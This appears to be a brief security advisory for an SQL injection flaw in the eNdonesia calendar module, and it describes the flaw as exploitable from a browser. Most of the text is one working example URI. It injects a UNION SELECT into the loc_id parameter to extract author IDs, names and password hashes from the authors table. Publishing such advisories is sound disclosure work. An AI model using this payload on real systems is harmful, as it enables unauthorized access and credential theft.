|
eNdonesia Calendar Module SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following example URI is available: http://www.example.com/mod.php?mod=calendar&op=list_events&loc_id=-999/**/union+select/**/0x3a,0x3a,concat(aid,0x3a,pwd),0x3a,concat(name,0x3a,pwd)/**/from/**/authors/*where%20name%20pwd |
|
|
Privacy Statement |
